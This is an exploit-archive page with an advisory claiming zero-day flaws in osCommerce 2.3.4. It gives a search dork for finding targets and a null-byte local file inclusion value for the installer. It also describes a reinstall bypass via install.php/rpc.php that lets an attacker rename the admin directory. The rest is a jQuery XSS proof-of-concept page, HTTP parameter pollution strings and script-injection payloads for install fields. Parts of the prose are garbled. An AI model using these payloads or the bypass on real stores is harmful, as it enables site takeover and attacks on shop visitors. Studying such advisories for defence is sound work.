what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Oscommerce 2.3.4 XSS / HPP / File Inclusion

Oscommerce 2.3.4 XSS / HPP / File Inclusion
Posted Sep 27, 2014
Authored by indoushka

Oscommerce version 2.3.4 suffers from cross site scripting, HTTP parameter pollution, and local file inclusion vulnerabilities.

tags | exploit, web, local, vulnerability, xss, file inclusion
SHA-256 | 8d1dd2e6442e15ac36b712ca7250cbff8a6c970b84e1efbe78af8cdac497642a

Oscommerce 2.3.4 XSS / HPP / File Inclusion

Change Mirror Download
Oscommerce2.3.4 multi Vulnerability 0-Day
=========================================
Author : indoushka
Vondor : http://www.oscommerce.com/
Dork : Powered by osCommerce
=========================================

File inclusion :

It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.
This vulnerability affects /catalog/install/install.php.
Discovered by: Scripting (File_Inclusion.script).
Attack details
URL encoded POST input DIR_FS_DOCUMENT_ROOT was set to djkhgfdfsjkd%00.jpg
Error message found:
<b>Warning</b>: fopen(weo,kohjbvn%00.jpg/includes/configure.php) [<a href='function.fopen'>function.fopen</a>]: failed to open stream: No such file or directory in <b>C:\AppServ\www\catalog\install\templates\pages\install_4.php</b> on line <b>148</b>

if you try to Reinstall the script in normal method you cant
http://localhost/catalog/install/install.php
but if we try withe xss byg
http://localhost/catalog/install/install.php/rpc.php
you can by pass it and change the Administration Directory Name
to any name shose it licke hacked but the sqldb stoped no real config data in configuer file

XSS Reflected - Jquery 1.11.1 :

<html>
<head>
<meta charset="utf-8">
<title>XSS Reflected - Jquery 1.11.1 </title>
<script src="http://localhost/catalog/ext/jquery/jquery-1.11.1.min.js"></script>
<script>
$(function() {
$('#users').each(function() {
var select = $(this);
var option = select.children('option').first();
select.after(option.text());
select.hide();
});
});
</script>
</head>


<body>
<form method="post">
<p>
<select id="users" name="users">
<option value="xssreflected"><script>alert(&#x27;xss
reflected - jquery 1.11.1 by - indoushka thnx to
@firebitsbr - mauro.risonho@gmail.com&#x27;);</script></option>
</select>
</p>
</form>
</body>
</html>

HTTP parameter pollution :

Vulnerability description

This script is possibly vulnerable to HTTP Parameter Pollution attacks.

HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks.
This vulnerability affects /catalog/product_info.php
/catalog/product_reviews.php
/catalog/shopping_cart.php
/catalog/index.php
/catalog/advanced_search_result.php
Discovered by: Scripting (HTTP_Parameter_Pollution.script).
Attack details
URL encoded GET input manufacturers_id was set to 4&n990268=v998311
Parameter precedence: last occurrence
Affected link: http://localhost/catalog/index.php?manufacturers_id=4&n990268=v998311
Affected parameter: manufacturers_id=4

Cross site scripting (verified)

This vulnerability affects /catalog/install/install.php
URL encoded POST input DIR_FS_DOCUMENT_ROOT was set to C:/AppServ/www/catalog/'"()&%<ScRiPt >prompt(991173)</ScRiPt>
URL encoded POST input HTTP_WWW_ADDRESS was set to http://127.0.0.1/catalog/" onmouseover=prompt(945521) bad="
The input is reflected inside a tag parameter between double quotes.

This vulnerability affects /catalog/install/rpc.php
URL encoded GET input server was set to e'"()&%<ScRiPt >prompt(945367)</ScRiPt>





Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close